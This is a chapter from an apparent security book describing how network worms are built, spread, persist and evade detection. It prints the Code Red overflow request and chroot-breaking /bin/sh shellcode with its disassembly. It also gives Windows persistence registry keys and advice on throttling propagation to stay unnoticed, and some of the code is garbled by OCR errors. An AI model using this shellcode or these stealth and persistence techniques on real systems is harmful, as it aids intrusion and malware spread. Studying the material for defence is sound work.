Introduction to Worms

Would worms turn the Internet into compost? If there ever was someone who has detailed knowledge of worms, then this is the author Frank Herbert. Horrible creatures , so brilliantly described in Dune, make readers feel terror mixed with respect. These creatures have much in common with the similar inhabitants of the cybernetic world. Although specialists in the field of informational security ardently dispute whether worms are one of the subclasses of virus programs or a standalone group of malware, worms have ploughed up the entire Internet and continue to bury themselves deeper in it at constantly growing rates. It is practically impossible to remove a worm after it has been born. Forget about the Morris worm. Times have changed, and nowadays everything is different ” different link bandwidths, different technological level, and different qualification of the support personnel. Back in the 1980s, it became possible to overcome the worm only because of the relatively small (by contemporary measures) number of network nodes and the centralized structure of the network community.

What do we have now? The number of network nodes quickly approaches 4 billion, and most of them are controlled by illiterate users. Only a few network nodes are controlled by administrators, which sometimes are as illiterate as their users. Often, such amateurs have difficulties distinguishing among network protocols and blindly rely on Microsoft and Windows NT. They naively believe that the operating system will do everything for them. Some of them probably know what patches are; however, in most cases they never consider patch installations.

I dare say that it is possible to swear, curse, and blame Microsoft until you lose consciousness; however, the problem isn't holes. Rather, the main cause of most problems is a negligent position toward security, typical for most administrators, and in their open carelessness. As relates to programmer's errors, the situation in the UNIX world doesn't look any better. Here there also are worms. Although their population is not too impressive, they are more refined and versatile. Here there also are epidemics, with thousands and tens of thousands of infected computers (it is enough to recall such worms as Scalper and Slapper, infecting Apache servers working under FreeBSD and Linux, respectively). Naturally, in comparison to millions of infected Windows systems, these numbers appear modest; however, this has no relation to the legendary UNIX security (or, to be more precise, insecurity). The main point here is that UNIX systems are controlled and managed by more qualified administrators than those of Windows NT.

Nobody is protected against intrusion, and the Internet is in a great danger. By a fluke, all previous worms were harmless creatures, and the damage caused by their propagation was mainly indirect. However, even in this case the damage was measured in millions of dollars and hours of network malfunctions. Thus, users, administrators, and programmers still have time for a good lesson on the basis of what has happened , and they should radically change their position toward security. It is time to stop useless theorization and proceed with the main topic.

Structural Anatomy of a Worm

It is generally agreed that worms are computer programs capable of self-reproduction and of traveling across the network on its own. Simply speaking, it is something that comes itself to your computer and captures control over it without any interference on your part. To penetrate the system to be infected, the worm might use different mechanisms: security holes, weak passwords, vulnerabilities of base and application protocols, open systems, and human factor (see " Worm Propagation Mechanisms " ).

Anatomically, the worm represents a morphological heterogeneous mechanism, in which it is possible to distinguish at least three main components : the compact head and the long tail with the poisonous sting. Naturally, this is only one design, and worms do not necessarily observe this arrangement.

The requirement of splitting the monolithic structure of the worm into different organs is caused by the limited size of overflowing buffers, which in most cases doesn't exceed a couple dozen bytes of code. The hole that the hacker has dug into the system is usually too narrow for the entire worm to fit within it (except when this would be a small and primitive worm). Therefore, usually a small part of the virus penetrates the target machine first. This part is called the head, or the loader. After successful intrusion of the head, the latter loads the main body of the worm.

The virus loader (usually identified as shellcode, although, this is not always so) solves the following tasks : First, it adapts its body (and the main body of the worm, if necessary) to the specific anatomical features of the victim's "organism" by determining addresses of the required system calls, its memory location, its current privilege level, and so on. Second, the loader establishes one or more channels for communication with the outside world, through which the main body of the worm will be delivered to the target machine. Most frequently, worms use "pure" TCP/IP connections for this purpose; however, they might also use higher-layer FTP and/or POP3/SMTP, which is especially urgent for worms trying to penetrate local area networks protected by firewalls from every side. Third, the loader uploads the virus tail to the infected computer and passes control to the main virus body. To conceal its presence, the loader might recover the destroyed data structures, thus preventing the system from crashing. The loader can also delegate this task to the main body of the worm. Having carried out its task, the loader usually is destroyed because, from the engineering point of view, it is much easier to include a copy of the loader in the main body than to assemble the virus part by part. Figuratively, the head of the worm is a ninja, silently landing in the hostile camp, killing the guards , opening the gate, and lighting the lamps to ensure the landing of the main landing party. For example, Listing 16.1 shows the head of the Code Red worm. The head of the worm is most frequently written in pure Assembly language and, in some of the most important cases, is even directly in machine code. (Assembly translators often can't stand the most efficient tricks; for more details see Chapter 1 .)

Listing 16.1: Head of the Code Red worm, arriving in the first TCP packet of the request

 GET /default. ida? XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u 7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00 = a HTTP 1.0 Content- type: text/ xm1, Content- length: 3379 

 

In general, a virus can have several heads. For example, the Morris worm had two heads, the first of which penetrated the target system through the debug hole in sendmail and the second dug a hole in the finger daemon, thus creating a false impression of the network being simultaneously attacked by two different worms. The virus is the more viable the more heads it has. Contemporary worms usually have a single head; however, there are no rules without exceptions. For example, disassembling of the Nimda worm (Nimda comes from "admin" read backward) has shown that there were five heads on its body, which attacked email clients , shared resources, Web browsers, Microsoft Internet Information Servers (IIS), and back doors left by the Code Red virus. Such monsters with several heads appear more like fantastic dragons or hydras, because a worm with several heads looks eerie. However, the cybernetics world is ruled by laws different from those of the real world.

Having captured control, the worm must first dig into the system as deeply as possible, dragging its long tail into some inconspicuous process and/or file. Encrypted (polymorphic) viruses also must decrypt and/or unpack the tail (if the loader hasn't carried out this operation). The tail of the worm solves more general problems. When it reaches the target system it, like a landing party, must entrench itself, infecting the system. Some worms dig themselves into executable files, specifying the paths to them in the Autorun registry key; some are satisfied with the main memory (in which case they are destroyed after reboot or power-down). This is the right approach. A true worm must roam from machine to machine, because this is its goal. As they say, the warrior has done his job and can go.

Nevertheless, the worm has quite a lot to do: It needs to find at least two targets suitable for infecting and insert its head there (or, to be more precise, copies of its head). In this respect, the worm is similar to a missile with a cassette-type warhead. Even if the worm dies, the population of worms will grow in a geometric progression. Because of the extreme algorithmic difficulty and lack of limitations on the maximum allowed size, the worm tail is usually written in high-level programming languages, such as C. For example, Listing 16.2 presents a small fragment of the Morris worm (because of the limited size of this book, only a small fragment is presented). It should be noted, however, that Forth or Algol is no less suitable for this purpose; this is a matter of personal preference (however, C always was and remains the best).

Listing 16.2: Fragment of the tail of the Morris worm

 rt_init()/* 0x2a26 */ {         FILE *pipe;         char input_buf[64];         int 1204, 1304;         ngateways = 0;         pipe  =  popen(XS("/usr/ucb/netstat -r -n"), XS("r"));         /* &env102, &env 125 */         if (pipe == 0) return 0;         while (fgets(input_buf, sizeof(input_buf), pipe))         { /* to 518 */                 other_sleep(0);                 if (ngateways >= 500) break;                 sscanf(input_buf, XS("%s%s"), 1204, 1304);                 /* <env+127>"%s%s" */                 /* Other stuff, I'll come back to this later */         }/* 518, back to 76 */         pclose(pipe);         rt_init_plus_544();         return 1; }/* 540 */ 

 

Nomadic life of a worm considerably strengthens the secrecy of its propagation and reduces the network load. Provided that the service being attacked processes each TCP/IP connection in a separate thread (which is the most frequently encountered case), it will be enough for the worm to allocate a memory block, assign it the executable attribute, and copy its body there. Note that it is impossible to directly copy the worm's tail into the address space of the victim thread, because the code segment is write-protected by default and the data segment by default doesn't allow code execution. Thus, only the stack and the heap remain available. Most frequently, the stack allows execution by default, which isn't true for the heap. To set the executable attribute, the worm must hack system functions of the virtual memory manager. If the head of the worm gains control before the vulnerable service creates a new thread or splits the process using the fork call, the worm must return control to the host program; otherwise , it would immediately crash, resulting in DoS. Return of control means loss of control over the machine and, consequently, death of the worm. To prevent the system from crashing and to survive this event, the worm must leave its resident copy or, in a more general case, modify the system to gain control from time to time. This isn't a difficult task. The first solution that comes to mind isn't the best one; however, it can be easily implemented. This solution consists of creating a new file and adding it to the list of programs that must start automatically. More sophisticated worms insert their bodies into some fictitious DLL and place it in the working directory of a vulnerable application (or in the working directories of frequently-used applications). In addition, worms can change the DLLs' loading order or even assign fictitious pseudonyms to them (under Windows, this can be done by modifying the following registry key: HKLM\SYSTEM\Currentcontrolset\Control\Session Maneger\KnownDLLs ). Some exceedingly harmful worms can register their own hooks in the system, modify the import table of the host process, insert into the code segment jump commands that pass control to their bodies (it is necessary to assign it the writable attribute before-hand), scan the memory for the virtual function tables, and modify these tables at their discretion.

Important  

In the UNIX world, most virtual function tables are located in the memory regions and are available only for reading, not for writing.

Briefly , there are lots of available methods here, and nothing can be easier for a worm than secretly hiding itself among the jungle of system, executable, and configuration files. Along with this, only the most primitive worms can afford the luxury of creating a new process. If this happens, this discloses their presence in the system to the administrator. For example, the well-known Love San falls into this class. By the way, using interprocess communications tools, it is easy to insert the worm body into the address space of another process, as well as to infect any executable file, including the operating system kernel. The common opinion that operating systems of the Windows NT family block the access to executable files started for execution is not true. Just choose any file you like (for distinctness, let this be iexplore.exe) and rename it explore.dll. Provided that you have a high-enough privilege level (by default, these are administrative privileges), the renaming operation completes successfully and active copies of Internet Explorer are automatically redirected by the system to the new name . Now create a fictitious iexplore.exe file that writes some welcome message into the system log and loads the original Internet Explorer. Naturally, this is only an example. In reality, everything is more complicated ” but more interesting. However, I have digressed. I'll return to describing the worm.

After fortifying its positions in the system, the worm proceeds with the main phase of its vital functions, the spawning. Provided that the worm has a polymorphic generator, it can create a modified copy of its body or, at least, simply encrypt critical segments of its body. Lack of these mechanisms doesn't make the worm considerably less survivable ; however, it significantly narrows its natural habitat. Consider for yourself: An unencrypted virus can be easily neutralized by any firewall or network router. As relates to polymorphic worms, adequate means of thwarting them are still nonexistent and hardly can be expected to emerge in the nearest future. Detection of polymorphic code doesn't belong to the operations that can be carried out in real-time mode on the Internet backbones. The ratio between the bandwidths of contemporary networks and the computing power of contemporary processors doesn't favor the latter. Although no polymorphic worms have been detected "running wild," no one can guarantee that they won't emerge in the future. There are about a dozen wellknown polymorphic worms for the IA-32 platform (naturally, I am speaking about true polymorphism, not about stuffing the machine code with meaningless commands). There is a wide variety to choose from.

No matter, which algorithm is chosen by the worm for spawning, its newborn copies leave the parent and creep into neighboring machines, provided that they find such machines. There are several independent propagation strategies, among which it is necessary to emphasize importing data from the address book of Outlook Express or any similar mail client, viewing local files on the target computer for network addresses, scanning IP addresses of the current subnet, and generating a random IP address. To avoid paralyzing the Internet with its own hyperactivity and barring its road to propagation, the virus must use no more than 50% of the bandwidth of captured network links; better still, it should use only one tenth or even one hundredth of the bandwidth. The less damage the virus causes to the network community, the later will it be detected. Consequently, the administrators will not rush to install the latest updates.

Having established the connection to the target machine, the worm must make sure that the required version of the vulnerable software is present and check whether another worm has already infected the system. In the simplest case, identification is carried out using a "handshake." The worm sends a predefined keyword to the target system, which at first glance appears to be an innocent network query. If the worm is present in the system, it intercepts the packet and returns another keyword to the initiator. The keyword sent as a reply must be different from the standard reply of the uninfected server. The handshake mechanism is the weakest point in the worm's protection, if it blindly relies on its remote fellow worm. However, this might be a simulator and not the worm. This circumstance worried Robert Morris, and to overcome possible simulators he equipped his worm with a specialized mechanism, which in one case out of seven had to ignore the indicator of infection and reinfect the machine. However, the chosen coefficient was too paranoiac; therefore, vulnerable hosts were reinfected multiple times. As a result, vulnerable machines were literally stuffed with worms that consumed all processor time and the entire bandwidth of network links. In the long run, the virus attack choked and broke down on its own, and further propagation of the worm became impossible.

To avoid this situation, each worm must have an internal counter, decreasing after each successful splitting. When the counter value reaches zero, the worm automatically self-destructs. Every living organism functions approximately the same way; otherwise, our biosphere would long ago have come to its natural end. The Internet is an excellent natural-size model of the biosphere. Therefore, no matter whether you like it or not, the software code must observe the objective rules of the nature, without attempting to contradict them. There is no use in it, anyway.

By the way, the previously-described anatomical design of the worm is not the generally accepted or the only one. This design distinguishes the following three main components of the worm: the head, the tail, and the sting. Other investigators prefer to consider the worm as an organism comprising the enabling exploit code, the propagation mechanism, and the payload, which is responsible for carrying out destructive actions. There is no principal difference in these worm representations; however, there is a terminological confusion.

Most worms are not poisonous, and the damage they cause is reduced to overloading network links because of their uncontrolled spawning. Only a few worms have a poisonous sting at their tail (some investigators prefer to call it a payload). For example, the worm might install a terminal shell on the target machine, which would provide the attacker with the possibilities of remote administration. Until the epidemic of such a worm is stopped , its creator has the power to control the world, and that person would be potentially capable of bringing the world's existence to an end. Well, it will be impossible to blast atomic power stations ; however, it will be possible to destabilize economics by destroying banking information. And, yes, this goal can be achieved even by a beginner hacker. Most experts declare that this threat was so real that only blatant errors in worm design prevented this threat from turning into reality. Security experts and hackers, carefully study the theory!

The latest popular trend is modular worms supporting the possibilities of remote administration, as well as installing and configuring plug-ins using the Internet. Just imagine how difficult it will be to overcome the threats under the constantly changing logic of the worm's behavior. Network administrators install filters, but worms bypass them. Administrators start antiviral scanners , but worms use this protection and, exploiting the confusion of the counterpart , strike an answering blow. To tell the truth, there are lots of problems with it. The system of plug-in distribution must be fully decentralized, and if the worst comes to worst, it must be capable of protecting itself; otherwise, administrators would feed it with the plug-in bomb, which would tear the worm into small peaces. There are lots of interesting topics to develop here.

Listing 16.3: Five heads of the worm, striking the most vulnerable services

 // This listing provides the "neck" of the worm, which "holds" the // head that, if necessary, spits fire... switch(Iptr->h_port) {         case 80:  // Web hole                   Handle Port_80(sock, inet_ntoa(sin.sin_addr), Iptr);                   break;         case 21:  // FTP hole                   if (Handle_Port_21(sock, inet_ntoa(sin.sin_addr), Iptr))                   {                       pthread_mutex_lock(&ndone_mutex);                       wuftp2 60_vuln (sock, inet_ntoa(sin.sin_addr), Iptr);                       pthread_mutex_unlock(&ndone_mutex);                   } break;         case 111: // RPC hole                   if (Handle_Port_STATUS(sock, inet_ntoa(sin.sin_addr), Iptr))                   {                        pthread_mutex_lock(&ndone_mutex);                        // rpcSTATUS_vuln(inet_ntoa(sin.sin_addr), Iptr);                        pthread_mutex_unlock(&ndone_mutex);                   } break;         case 53:  // Linux bind hole                   // Check_Linux86_Bind(sock, inet_ntoa(sin.sin_addr),                      Iptr->h_network);                   break;         case 515: // Linux LPD hole                   // Get_OS_Type(Iptr->h_network, inet_ntoa(sin.sin_addr));                   // Check_lpd(sock, inet_ntoa(sin.sin_addr), Iptr->h_network);                   break;         default:  break; } 

 

Listing 16.4: One of the worm's heads (see Listing 16.5 for its disassembled code)

 /* Break chroot and exec /bin/sh - don't use it on an unbreakable host like 4.0 */ unsigned char x86_fbsd_shell _chroct[] =         "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80"         "\x31\xc0\x99"         "\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd"         "\x80\x54\x6a\x3d\x58\xcd\x80\x66\x68\x2e\x2e\x88\x54"         "\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53"         "\x53\xcd\x80\xe2\xf7\x88\x54\x24\x01\x54\x6a\x3d\x58"         "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69"         "\x6e\x89\xe3\x52\x89\xe2\x53\x89\xel\x52\x51\x53\x53"         "\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"; 

 

Listing 16.5: Disassembled code of the MWorm worm

 .data:0804F7E0 x86_fbsd_shell_chroot: .data:0804F7E0        XOR    EAX, EAX .data:0804F7E2        PUSH   EAX .data:0804F7E3        PUSH   EAX .data:0804F7E4        PUSH   EAX .data:0804F7E5        MOV    AL, 7Eh .data:0804F7E7        INT    80h             ; Linux - sys_sigprocmask .data:0804F7E9        XOR    EAX, EAX .data:0804F7EB        CDQ .data:0804F7EC        PUSH   68h .data:0804F7EE        MOV    EBX, ESP .data:0804F7F0        PUSH   EAX .data:0804F7F1        PUSH   EBX .data:0804F7F2        PUSH   EBX .data:0804F7F3        MOV    AL, 88h .data:0804F7F5        INT    80h             ; Linux - sys_personality .data:0804F7F7        PUSH   ESP .data:0804F7F8        PUSH   3Dh .data:0804F7FA        POP    EAX .data:0804F7FB        INT    80h              ; Linux - sys_chroot .data:0804F7FD        PUSH   small 2E2Eh .data:0804F801        MOV    [ESP + 2], DL .data:0804F805        MOV    EBX, ESP .data:0804F807        PUSH   0Ch .data:0804F809        POP    ECX .data:0804F80A        MOV    EBX, ESP .data:0804F80C .data:0804F80C loc_804F80C:            ; CODE XREF: .data:0804F813   j .data:0804F80C        PUSH   0Ch .data:0804F80E        POP    EAX .data:0804F80F        PUSH   EBX .data:0804F810        PUSH   EBX .data:0804F811        TNT    80h           ; Linux - sys_chdir .data:0804F813        LOOP   loc_804F80C .data:0804F815        MOV    [ESP +1], dl .data:0804F819        PUSH   ESP .data:0804F81A        PUSH   30h  .data:0804F81C        POP    EAX .data:0804F81D        INT    80h           ; Linux - sys_chroot .data:0804F81F        PUSH   EDX .data:0804F820        PUSH   68732F6Eh .data:0804F825        TNC    ESP .data:0804F826        PUSH   6E69622Fh .data:0804F82B        MOV    EBX, ESP .data:0804F82D        PUSH   EDX .data:0804F82E        MOV    EDX, ESP .data:0804F830        PUSH   EBX .data:0804F831        MOV    ECX, ESP .data:0804F833        PUSH   EDX .data:0804F834        PUSH   ECX .data:0804F835        PUSH   EBX .data:0804F836        PUSH   EBX .data:0804F837        PUSH   3Bh .data:0804F839        POP    EAX .data:0804F83A        TNT    80h           ; Linux - sys_olduname .data:0804F83C        XOR    EAX, EAX .data:0804F83E        TNC    AL .data:0804F840        TNT    80h           ; Linux - sys_exit 

 

Worm Propagation Mechanisms

Holes are logical errors in the software; as a result of these, the target machine becomes capable of interpreting source data as executable code. The most frequently encountered holes are buffer overflow errors and errors related to incorrect specifier interpretation , which were covered in detail in Part II of this book.

Although the theorists of security obstinately wave holes aside as annoying incidents that violate the beauty of air castles of abstract protection systems, even superficial analysis shows that the design and implementation errors are not random. On the contrary, they appear according to a regular pattern well reflected in the popular hacker's maxim that there are no bug-free programs, only programs that are not investigated well enough. Overflow errors, caused (or even provoked by the existing ideology of programming languages and programming paradigms ) are especially perfidious. There isn't a single commercial program comprising more than tens or hundreds of thousands of lines of code that would be capable of avoiding overflow errors. Worms and viruses, such as Morris worm, Linux.Ramen, MWorm, Code Red, Slapper, Slammer, Love San, and many more little-known ones, propagated using overflow errors.

The list of newly-detected holes is regularly published on a range of sites dedicated to information security (the best known and the largest of which is Bugtraq at http://www.securityfocus.com/archive/1 ) and on the Web pages of individual hackers. The patches for security holes usually appear weeks or even months after the publication of information about the detection of security holes. In some cases, however, release of the patch occurs even before the publication itself, because good form requires investigators to refrain from publishing information about a security hole before the antidote is found. Naturally, virus writers search for holes on their own, too. However, throughout the Internet's existence, they didn't find a single hole.

Weak passwords are a true scourge of every security system. Do you remember this joke: "Tell me the password! ” Password!"? Every joke is partially true, and passwords that literally are "password" are not too rare. Furthermore, lots of users choose passwords that are popular vocabulary words or choose a password that is a slightly modified login (for example, the login with one or two digits at its end). I won't even mention short passwords, passwords made up of digits only, and passwords identical to login names . And lots of systems are not password-protected. There are special programs designed for searching for unprotected network resources (or resources protected by weak passwords). The lion's share of such resources fall to local area networks of small companies or government organizations. As a rule, such companies and organizations cannot afford to employ a qualified administrator because of a limited budget. To all appearances , they are even unaware of the necessity of choosing strong passwords (or perhaps they are too lazy to do so).

The first (and, for the moment, the last) worm that attacked passwords was the Morris worm, which used a successful combination of a dictionary attack with a series of typical transformations of the target login name (initial login name, duplicated login name, login name written in the inverse order, login name written in uppercase or lowercase letters , etc.). Note that this strategy worked successfully.

The Nimda worm used a slightly more primitive propagation mechanism. It penetrated only systems that were not password-protected, which prevented it from uncontrollable spawning, because weak passwords are only an insignificant percentage of the total number of passwords.

Since the time of Morris, lots of circumstances have changed. Now, there is a clearly-noticeable trend toward choosing more complicated passwords with random, meaningless combinations of letters and digits. However, the number of users is constantly growing. Administrators often are unable to control all users and ensure the correct choice of passwords. Thus, a password attack still remains a real threat.

Open systems are systems that without hindrances allow anyone to execute custom code on the server. This category of systems includes free hosting services, providing telnet, Perl, and the possibility of establishing outgoing TCP connections. In theory, a virus might infect such systems one after another and use them as bridgeheads for attacking other systems.

In contrast to the nodes protected by weak (or even blank) passwords, owners of open systems intentionally provide everyone with free access, although they require manual registration, which, by the way, could be automated. Nevertheless, no worm currently known to researchers uses this mechanism; therefore, further explanation appears pointless.

The notorious human factor might be covered endlessly. However, I won't do this. This isn't a technical problem; it's a purely organizational one. No matter what efforts Microsoft and its competitors make to protect users against themselves, no one could succeed in carrying out this task without reducing the system functionality to the level of a tape recorder. Principally, it is unlikely that anyone would ever succeed in doing so. The Pascal programming language, known for preventing programmers from shooting themselves into the foot , is considerably less popular than C/C++, which readily allows programmers to shoot themselves in both feet, and the head, even when no one planned to do so.

Arrival of the Worm

Worms represent a kind of viruses that spawn without the participation of humans . In contrast to the file virus, which is activated when the infected file is started for execution, a network worm penetrates the target system on its own. To be exposed to the risk of infection, it is enough to simply connect to the Internet. Principally, worms are highly-automated robots, inhabiting the wilderness of the Internet and forced to struggle for survival. Worms can be compared to space probes, whose designer must make provision for every occasion, every minor detail, because once the error has been made it will be impossible to correct it later. Design errors in worms cost no less than design errors in space probes (it is enough to compare the cost of space probes and the damage caused by worm attacks). Therefore, hackers shouldn't write a worm: Just imagine what the possible consequences might be and that you might be required to answer for them and bear the responsibility. Study the equipment, Assembly language, and protocols from the TCP/IP stack, and forget about destruction. Destructive code is bad code, and vandalism doesn't require high intellect. On the other hand, penetrating millions of remote hosts without making them crash or freeze is the goal of qualified virus writer.

Strategy and Tactics of Infection

The main enemies of a ninja are uncertainty, barbwire of firewalls, and wolfhounds running all over the protected territory.

The preparation for uploading the shellcode starts by determining IP addresses suitable for intrusion. If a worm is a class C network, where the three most significant bits of IP addresses are set 110 , then it is possible to scan the entire network (to understand how to achieve this, disassemble any network scanner). Scanning larger networks of classes A and B takes longer time and can immediately attract an administrator's attention. Expertly-designed worms prefer not to draw an administrator's attention to their activities. Instead, they choose two or three arbitrary IP addresses and then pause for a second, allowing TCP/IP packets to travel without creating traffic jams. The Slammer worm that infects SQL servers didn't make such a pause and, therefore, died out prematurely, in contrast to Love San, which is alive today. Nimda and some other worms do not rely on random choice and determine target addresses heuristically by analyzing the contents of the hard disk (by intercepting the traffic passing through them). In this way, they search for URLs, email addresses, and many other references, inserting them into the list of candidates for infection.

Then the worm carries out preliminary testing of candidates. First, the worm must make sure that the given IP address exists, hasn't been frozen, and runs the vulnerable version of server software or operating system known to the worm and compatible with the shellcode of one of its worms.

The first two problems are solved extremely easily: The worm sends a legal request to the server (Fig. 16.2), which it must answer (for Web servers, this is the GET query); if the servers replies, then it is up and running. Note that it isn't expedient to send echo request, better known as ping , because the hostile firewall might discard it.

Figure 16.2: The worm sends requests to different IP addresses

The situation for determining the server version is more difficult, and there are no universal solutions here. Some protocols support a special command or return the server version in the welcome string; however, most frequently the worm has to obtain the required information on the basis of indirect indications . Different operating systems and servers react differently to nonstandard packets or manifest themselves by specific ports, which allows the worm to roughly identify the target. Precise identification is not needed, because the main goal of the worm is to discard unsuitable candidates. If the worm's head is sent to an unsuitable reinforced region, nothing will happen. The head (more precisely, the head's copy) will be destroyed, and that's all. Fig. 16.3 shows a successful finding.

Figure 16.3: The worm receives the reply identifying the suitable target and sends to it the head containing the shellcode

In the final stage of the reconnaissance operation, the worm sends the prearranged signal to the remote host (for instance, it sends a TCP packet with the prearranged message inside). If the remote host is already under control of another worm, it must reply in a predefined way. This stage is the weakest part of the entire operation because, if the adversary (administrator) knows about it, the target host can easily pretend to be "infected," thus preventing the intrusion. Such a technique of antiviral protection is known as vaccination. To overcome it, worms ignore the infection indicator once in several generations and recapture the infected host again, thus leading their population to inevitable death. This happens because all hosts are infected multiple times and, some time later, all systems become swamped with worms, which eat up all system resources.

Having chosen the target suitable for intrusion, the worm sends it the query that causes buffer overflow and then passes control to the shellcode, which can be passed both with the overflowing query and separately from it. Such an intrusion strategy is called a multistep strategy. This strategy is used by the Slapper worm.

When preparing the shellcode, it is necessary to remember about firewalls, which analyze the contents of requests and discard all suspicious packets. In particular, application-level filters carry out this task. To avoid destruction, the shellcode must meet all requirements of the protocol specification, and its syntax must be the same as that of normal commands. After all, firewall filters analyze only the request syntax , not its actual contents (it doesn't have enough power and intellect to carry out this task).

If the shellcode successfully captures control over the target machine, it must then find the descriptor of the TCP/IP connection, through which it was uploaded, and upload the remaining tail (this can be done by systematic checking of all sockets using the getpeername function) ” Fig. 16.4. It would be much easier to drag the tail through an individual TCP/IP connection. However, if the adversary has surrounded the protected network with an expertly-configured firewall, you are unlikely to penetrate it. But firewalls never disallow existing TCP/IP connections.

Figure 16.4: The worm head overflows the buffer, captures control, and uploads the tail

The entire landing party has assembled . Now, it is time to reinforce its positions. The most stupid approach that the worm can use consists of loading its entire body into some executable file lost in the densely- populated ghetto of the Windows\System32 directory and making it load automatically at system startup by creating a special entry under the HKLM\software\Microsoft\windows\currentversion\Run registry key. This is the worst location possible. An administrator will immediately notice the worm there and kill it. However, if the worm would infect executable files similarly to file viruses, then it will take the administrator more time and effort to remove it.

To penetrate the address space of another process, the worm must either create a remote thread in it by calling the CreateRemoteThread function, or patch the machine code directly by calling the WriteProcessmemory function (here I am speaking only about Windows NT-based systems, because UNIX requires a different approach, see Chapter 13 ).

As a variant, it is possible to create registration elements in the registry branch that are responsible for automatically loading DLLs into the address space of each process started for execution: HKLM\SOFTWARE \Microsoft\windows NT\CurrentVersion\Windows\AppInit_DLLs .

In the latter case, the worm will gain control over all events that take place in the system, for example, by blocking the start-up of programs that it "doesn't like." How long would it take the administrator to guess what's happening?

Having reinforced its positions in the captured system, the worm can proceed with searching for new targets and sending its head to all suitable target addresses, having previously reduced its biological counter at one (Fig. 16.5). When this counter reaches zero, this initiates the self-destruction procedure.

Figure 16.5: The captured host becomes a new bulwark that continues worm propagation

This is a general description of the life cycle of the worm.

Struggle for Natural Habitat: Duty before Fellow Worms, or Born to Die

The worm is in a continuous struggle for existence. Having been uploaded into the Internet, the worm must face the problems of capturing system resources (gaining food), mastering new territories (searching for new targets suitable for infection), defending against predators (firewalls, antivirus software, administrators, etc.), and solving the problem of intraspecific competition. Only expertly-designed and highly-intellectual code can survive in this aggressive environment. It is assumed that the main goal of all living organisms (including worms) is unlimited expansion ” in other words, capture of all territories whether or not they are free. In reality, however, this is not true. To avoid starvation , each individual organism must dwell in harmony with the surrounding world, supporting the balanced population. If this rule is violated, this inevitably results in a catastrophe.

The overwhelming majority of worms die immediately after their birth, and only a few of them cause impressive epidemics. Why is this so? Uncontrolled growth of any population always results in its destruction because the supplies of food are limited. The limits of a worm population are naturally regulated by the bandwidth of Internet links, amount of the memory and storage space available on computers, and the operating rate of the processors.

The worm must sparingly use this wealth, sharing it fairly with other inhabitants of cyberspace . Left to their own devices, worms spawn in a geometric progression, and their population grows explosively. However, the bandwidth of the Internet backbones is limited. Sooner or later, the network is " saturated " with worms, becomes congested (Fig. 16.6), and ceases to operate , not only preventing worms from propagation but also waking up swearing administrators that install fresh patches and kill worms. Administrators declare war only on those worms that are especially irritating . If a worm behaves modestly, it has a chance to survive.

Figure 16.6: Rapid propagation of worms causes network congestion

The influence of the propagation rate on the worm's survivability was investigated in the pioneering works by Ralph Burger. Already at that time it was clear that, principally, a virus can infect all files on a local machine (network worms were nonexistent at that time, so they were not discussed); however, this would make the infection too noticeable, and the fate of virus would be predefined (panic low-level hard disk formatting, complete reinstallation of software, etc.). Furthermore, such a virus is simply of little or no interest.

Consider an extreme case. Assume that a virus being studied must carry out only one infection act during its entire life cycle. Then the population will grow linearly until the system load exceeds some critical value, after which the population will inevitably drop. In the long run, the virus would eat up all processor resources, all memory, and all disk space, after which the system would freeze and the process of virus spawning would stop. In practice, the situation doesn't come to this extremity , and the computer owner disinfects the system long before this happens.

The period that elapses from the moment of the first infection until the moment the virus is detected because of unusual system activity is called the latent period of the worm propagation. The more hosts infected during that time, the greater the worm's chances for survival. The right choice of propagation strategy is important. An incorrect choice of propagation strategy and uncontrolled spawning are exactly the reasons most worms die out. Most often, the initial worm splits into two new worms prepared for further spawning. In the next generation, there will be 4 worms already, then 8, 16, 32, etc. Nuclear explosion is a physical illustration of this process. Both cases reveal an uncontrolled chain reaction whose specific feature is its explosive nature. At first, the growth of the virus population is so slow that it can be fully neglected; however, when some threshold value (similar to the critical mass in a nuclear reaction) is reached, further spawning takes place explosively. After a short interval ” a few days or even hours ” the worm infects all vulnerable network nodes, after which its existence becomes meaningless, and it dies, killed by an enraged administrator awakened at 5 a.m. (and worms, because of the global nature of the Internet, tend to strike at a time that is physiologically the most inconvenient).

Provided that the IP address of the target computer is chosen using a random rule (most worms propagate using this algorithm), the propagation rate of the worm drops as the network load grows. This happens not only because the Internet backbones become congested. Just try to generate the sequence of random bytes and compute the number of steps required to achieve full coverage of the entire range from 00h to FFh . The formulated goal cannot be achieved within 100h steps. If you avoid cheating, the same bytes will fall multiple times, but others won't fall even a single time. At the same time, the more bytes covered, the more frequently the repeated falls will be encountered. The situation with virus propagation is similar. At the final stage of spawning, the hordes of worms will increasingly try to reinfect the infected computers, and gigabytes of traffic generated by them will be generated for no particular purpose.

To solve this problem, the Morris worm used several independent mechanisms. First, it listed the trusted hosts from each infected machine. The lists of trusted hosts are contained in the /etc/hosts.equiv and rhosts files. In addition, the Morris worm retrieved forward files containing email addresses. This meant that target addresses were not random. As a result, there was no need to test a large number of nonexistent addresses. The number of attempts to reinfect machines that had been captured already was reduced to a minimum. This tactics is used by many mail worms that access the Outlook Express address book. This tactics works well. On the site of Symantec ( http://www.symantec.com ), it is possible to find an interesting utility called VBSim (its virus and worm simulation system) that comparatively analyzes the efficiency of different types of worms.

